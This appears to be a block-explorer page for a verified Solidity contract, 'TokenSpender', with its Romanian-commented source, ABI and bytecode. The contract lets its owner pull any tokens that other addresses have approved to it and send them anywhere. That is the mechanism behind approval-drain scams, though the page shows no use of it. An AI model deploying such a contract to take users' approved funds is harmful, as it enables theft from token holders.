Contract

0x57374814A00a3319170A8C4E03592Bd613E701BA

Feature Tip: Add private address tag to any address under My Name Tag !

Source Code

API

Overview

ETH Balance

0 ETH

Eth Value

$0.00

More Info

Private Name Tags

Add

ContractCreator

0x7173DE35...3563439E7 | 109 days ago

Multichain Info

$0 (Multichain Portfolio)

	Transaction Hash	Method Search by Function Name / Method ID	Block	Set Duration Last 1H Last 24H Last 7D Last 30D Last 90D Last 180D Custom Duration From To	From	ANY IN OUT	To	Set Amounts > 0.00001 0-1 1-10 1-100 1-1k 1-10k 1-100k 1-1m Custom Amounts Amount must be 0 or greater than or equals 0.00001
There are no matching entries Please try again later

Advanced mode:

Parent Transaction Hash	Method	Block	Set Duration Last 1H Last 24H Last 7D Last 30D Last 90D Last 180D Custom Duration From To	From	ANY IN OUT	To	Set Amounts > 0.00001 0-1 1-10 1-100 1-1k 1-10k 1-100k 1-1m Custom Amounts Amount must be 0 or greater than or equals 0.00001

View All Internal Transactions

Cross-Chain Transactions

Block		Transaction	Difficulty	Gas Used	Reward

View All Blocks Produced

Validator Index	Block		Amount

View All Withdrawals

Transaction Hash	Block		Value	Eth2 PubKey	Valid

View All Deposits

Similar Match Source Code
This contract matches the deployed Bytecode of the Source Code for Contract 0xb6416da8...2990aF0Cb
The constructor portion of the code might be different and could alter the actual behaviour of the contract

Contract Name:

TokenSpender

Compiler Version

v0.8.30+commit.73712a01

Optimization Enabled:

No with 200 runs

Other Settings:

prague EvmVersion

Contract Source Code (Solidity Standard Json-Input format)

File 1 of 1 : usdt.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IUSDT {
    function transferFrom(address sender, address recipient, uint256 amount) external;
    function transfer(address recipient, uint256 amount) external;
    function allowance(address owner, address spender) external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
}

contract TokenSpender {
    address public owner;

    // Event pentru logging
    event TokensTransferred(address token, address sender, address recipient, uint256 amount);
    event TokensWithdrawn(address token, address to, uint256 amount);
    event DebugOwner(address owner, address caller);

    // Constructor: setează owner-ul
    constructor() {
        owner = msg.sender;
    }

    // Modifier pentru a limita accesul doar la owner
    modifier onlyOwner() {
        require(msg.sender == owner, "Only owner can call this function");
        _;
    }

    // Funcție pentru a face transferFrom – doar owner-ul poate apela
    function transferTokens(
        address token,
        address sender,
        address recipient,
        uint256 amount
    ) external onlyOwner {
        emit DebugOwner(owner, msg.sender);
        
        // Verificăm allowance-ul înainte de transfer
        uint256 currentAllowance = IUSDT(token).allowance(sender, address(this));
        require(currentAllowance >= amount, "Insufficient allowance");
        
        // Pentru USDT, nu verificăm valoarea returnată
        try IUSDT(token).transferFrom(sender, recipient, amount) {
            emit TokensTransferred(token, sender, recipient, amount);
        } catch {
            revert("USDT transfer failed");
        }
    }

    // Funcție pentru a verifica allowance-ul
    function getAllowance(
        address token,
        address ownerAddr,
        address spender
    ) external view returns (uint256) {
        return IUSDT(token).allowance(ownerAddr, spender);
    }

    // Funcție pentru a verifica soldul
    function getBalance(address token, address account) external view returns (uint256) {
        return IUSDT(token).balanceOf(account);
    }

    // Funcție pentru a retrage tokeni blocate (doar owner)
    function withdrawTokens(address token, address to, uint256 amount) external onlyOwner {
        try IUSDT(token).transfer(to, amount) {
            emit TokensWithdrawn(token, to, amount);
        } catch {
            revert("Token withdraw failed");
        }
    }
}

Settings

{
  "evmVersion": "prague",
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": [],
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

Contract Security Audit

No Contract Security Audit Submitted- Submit Audit Here

Contract ABI

API

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"},{"indexed":false,"internalType":"address","name":"caller","type":"address"}],"name":"DebugOwner","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"address","name":"recipient","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"TokensTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"TokensWithdrawn","type":"event"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"address","name":"ownerAddr","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"getAllowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"address","name":"account","type":"address"}],"name":"getBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdrawTokens","outputs":[],"stateMutability":"nonpayable","type":"function"}]

Contract Creation Code

Decompile Bytecode Switch to Opcodes View

0x6080604052348015600e575f5ffd5b50335f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b6b8061005b5f395ff3fe608060405234801561000f575f5ffd5b5060043610610055575f3560e01c80635e35359e1461005957806368155ec1146100755780638da5cb5b14610091578063d4fac45d146100af578063e7092b41146100df575b5f5ffd5b610073600480360381019061006e91906106c8565b61010f565b005b61008f600480360381019061008a9190610718565b61027f565b005b61009961050e565b6040516100a6919061078b565b60405180910390f35b6100c960048036038101906100c491906107a4565b610532565b6040516100d691906107f1565b60405180910390f35b6100f960048036038101906100f4919061080a565b6105b3565b60405161010691906107f1565b60405180910390f35b5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461019d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610194906108da565b60405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b81526004016101d89291906108f8565b5f604051808303815f87803b1580156101ef575f5ffd5b505af1925050508015610200575060015b61023f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161023690610969565b60405180910390fd5b7f6337ed398c0e8467698c581374fdce4db14922df487b5a39483079f5f59b60a483838360405161027293929190610987565b60405180910390a1505050565b5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461030d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610304906108da565b60405180910390fd5b7fcf4120d7e3a7135256b87a31e5fdb27a0f6fabf0d3bc2d6ac78532ac241b28b75f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff163360405161035e9291906109bc565b60405180910390a15f8473ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e85306040518363ffffffff1660e01b81526004016103a29291906109bc565b602060405180830381865afa1580156103bd573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103e191906109f7565b905081811015610426576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161041d90610a6c565b60405180910390fd5b8473ffffffffffffffffffffffffffffffffffffffff166323b872dd8585856040518463ffffffff1660e01b815260040161046393929190610987565b5f604051808303815f87803b15801561047a575f5ffd5b505af192505050801561048b575060015b6104ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104c190610ad4565b60405180910390fd5b7f70c5f97fd0068e96984b8116fe83eefbff3b91244565bf311a3cba619b4ecbc7858585856040516104ff9493929190610af2565b60405180910390a15050505050565b5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f8273ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff1660e01b815260040161056c919061078b565b602060405180830381865afa158015610587573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105ab91906109f7565b905092915050565b5f8373ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e84846040518363ffffffff1660e01b81526004016105ef9291906109bc565b602060405180830381865afa15801561060a573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061062e91906109f7565b90509392505050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6106648261063b565b9050919050565b6106748161065a565b811461067e575f5ffd5b50565b5f8135905061068f8161066b565b92915050565b5f819050919050565b6106a781610695565b81146106b1575f5ffd5b50565b5f813590506106c28161069e565b92915050565b5f5f5f606084860312156106df576106de610637565b5b5f6106ec86828701610681565b93505060206106fd86828701610681565b925050604061070e868287016106b4565b9150509250925092565b5f5f5f5f608085870312156107305761072f610637565b5b5f61073d87828801610681565b945050602061074e87828801610681565b935050604061075f87828801610681565b9250506060610770878288016106b4565b91505092959194509250565b6107858161065a565b82525050565b5f60208201905061079e5f83018461077c565b92915050565b5f5f604083850312156107ba576107b9610637565b5b5f6107c785828601610681565b92505060206107d885828601610681565b9150509250929050565b6107eb81610695565b82525050565b5f6020820190506108045f8301846107e2565b92915050565b5f5f5f6060848603121561082157610820610637565b5b5f61082e86828701610681565b935050602061083f86828701610681565b925050604061085086828701610681565b9150509250925092565b5f82825260208201905092915050565b7f4f6e6c79206f776e65722063616e2063616c6c20746869732066756e6374696f5f8201527f6e00000000000000000000000000000000000000000000000000000000000000602082015250565b5f6108c460218361085a565b91506108cf8261086a565b604082019050919050565b5f6020820190508181035f8301526108f1816108b8565b9050919050565b5f60408201905061090b5f83018561077c565b61091860208301846107e2565b9392505050565b7f546f6b656e207769746864726177206661696c656400000000000000000000005f82015250565b5f61095360158361085a565b915061095e8261091f565b602082019050919050565b5f6020820190508181035f83015261098081610947565b9050919050565b5f60608201905061099a5f83018661077c565b6109a7602083018561077c565b6109b460408301846107e2565b949350505050565b5f6040820190506109cf5f83018561077c565b6109dc602083018461077c565b9392505050565b5f815190506109f18161069e565b92915050565b5f60208284031215610a0c57610a0b610637565b5b5f610a19848285016109e3565b91505092915050565b7f496e73756666696369656e7420616c6c6f77616e6365000000000000000000005f82015250565b5f610a5660168361085a565b9150610a6182610a22565b602082019050919050565b5f6020820190508181035f830152610a8381610a4a565b9050919050565b7f55534454207472616e73666572206661696c65640000000000000000000000005f82015250565b5f610abe60148361085a565b9150610ac982610a8a565b602082019050919050565b5f6020820190508181035f830152610aeb81610ab2565b9050919050565b5f608082019050610b055f83018761077c565b610b12602083018661077c565b610b1f604083018561077c565b610b2c60608301846107e2565b9594505050505056fea2646970667358221220446642a24b6d3cc1eeee403400e2c0d8013bb1b6bc57c3be830dcc6e9766b89864736f6c634300081e0033

Deployed Bytecode

Decompile Bytecode

0x608060405234801561000f575f5ffd5b5060043610610055575f3560e01c80635e35359e1461005957806368155ec1146100755780638da5cb5b14610091578063d4fac45d146100af578063e7092b41146100df575b5f5ffd5b610073600480360381019061006e91906106c8565b61010f565b005b61008f600480360381019061008a9190610718565b61027f565b005b61009961050e565b6040516100a6919061078b565b60405180910390f35b6100c960048036038101906100c491906107a4565b610532565b6040516100d691906107f1565b60405180910390f35b6100f960048036038101906100f4919061080a565b6105b3565b60405161010691906107f1565b60405180910390f35b5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461019d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610194906108da565b60405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b81526004016101d89291906108f8565b5f604051808303815f87803b1580156101ef575f5ffd5b505af1925050508015610200575060015b61023f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161023690610969565b60405180910390fd5b7f6337ed398c0e8467698c581374fdce4db14922df487b5a39483079f5f59b60a483838360405161027293929190610987565b60405180910390a1505050565b5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461030d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610304906108da565b60405180910390fd5b7fcf4120d7e3a7135256b87a31e5fdb27a0f6fabf0d3bc2d6ac78532ac241b28b75f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff163360405161035e9291906109bc565b60405180910390a15f8473ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e85306040518363ffffffff1660e01b81526004016103a29291906109bc565b602060405180830381865afa1580156103bd573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103e191906109f7565b905081811015610426576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161041d90610a6c565b60405180910390fd5b8473ffffffffffffffffffffffffffffffffffffffff166323b872dd8585856040518463ffffffff1660e01b815260040161046393929190610987565b5f604051808303815f87803b15801561047a575f5ffd5b505af192505050801561048b575060015b6104ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104c190610ad4565b60405180910390fd5b7f70c5f97fd0068e96984b8116fe83eefbff3b91244565bf311a3cba619b4ecbc7858585856040516104ff9493929190610af2565b60405180910390a15050505050565b5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f8273ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff1660e01b815260040161056c919061078b565b602060405180830381865afa158015610587573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105ab91906109f7565b905092915050565b5f8373ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e84846040518363ffffffff1660e01b81526004016105ef9291906109bc565b602060405180830381865afa15801561060a573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061062e91906109f7565b90509392505050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6106648261063b565b9050919050565b6106748161065a565b811461067e575f5ffd5b50565b5f8135905061068f8161066b565b92915050565b5f819050919050565b6106a781610695565b81146106b1575f5ffd5b50565b5f813590506106c28161069e565b92915050565b5f5f5f606084860312156106df576106de610637565b5b5f6106ec86828701610681565b93505060206106fd86828701610681565b925050604061070e868287016106b4565b9150509250925092565b5f5f5f5f608085870312156107305761072f610637565b5b5f61073d87828801610681565b945050602061074e87828801610681565b935050604061075f87828801610681565b9250506060610770878288016106b4565b91505092959194509250565b6107858161065a565b82525050565b5f60208201905061079e5f83018461077c565b92915050565b5f5f604083850312156107ba576107b9610637565b5b5f6107c785828601610681565b92505060206107d885828601610681565b9150509250929050565b6107eb81610695565b82525050565b5f6020820190506108045f8301846107e2565b92915050565b5f5f5f6060848603121561082157610820610637565b5b5f61082e86828701610681565b935050602061083f86828701610681565b925050604061085086828701610681565b9150509250925092565b5f82825260208201905092915050565b7f4f6e6c79206f776e65722063616e2063616c6c20746869732066756e6374696f5f8201527f6e00000000000000000000000000000000000000000000000000000000000000602082015250565b5f6108c460218361085a565b91506108cf8261086a565b604082019050919050565b5f6020820190508181035f8301526108f1816108b8565b9050919050565b5f60408201905061090b5f83018561077c565b61091860208301846107e2565b9392505050565b7f546f6b656e207769746864726177206661696c656400000000000000000000005f82015250565b5f61095360158361085a565b915061095e8261091f565b602082019050919050565b5f6020820190508181035f83015261098081610947565b9050919050565b5f60608201905061099a5f83018661077c565b6109a7602083018561077c565b6109b460408301846107e2565b949350505050565b5f6040820190506109cf5f83018561077c565b6109dc602083018461077c565b9392505050565b5f815190506109f18161069e565b92915050565b5f60208284031215610a0c57610a0b610637565b5b5f610a19848285016109e3565b91505092915050565b7f496e73756666696369656e7420616c6c6f77616e6365000000000000000000005f82015250565b5f610a5660168361085a565b9150610a6182610a22565b602082019050919050565b5f6020820190508181035f830152610a8381610a4a565b9050919050565b7f55534454207472616e73666572206661696c65640000000000000000000000005f82015250565b5f610abe60148361085a565b9150610ac982610a8a565b602082019050919050565b5f6020820190508181035f830152610aeb81610ab2565b9050919050565b5f608082019050610b055f83018761077c565b610b12602083018661077c565b610b1f604083018561077c565b610b2c60608301846107e2565b9594505050505056fea2646970667358221220446642a24b6d3cc1eeee403400e2c0d8013bb1b6bc57c3be830dcc6e9766b89864736f6c634300081e0033

Block		Uncle Number	Difficulty	Gas Used	Reward

View All Uncles

0x57374814A00a3319170A8C4E03592Bd613E701BA

Net Worth in USD

$0.00

Net Worth in ETH

Multichain Portfolio | 33 Chains

Display all chains •

Last updated: less than 1 sec ago

Chain	Token	Portfolio %	Price	Amount	Value

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.

Tools & Services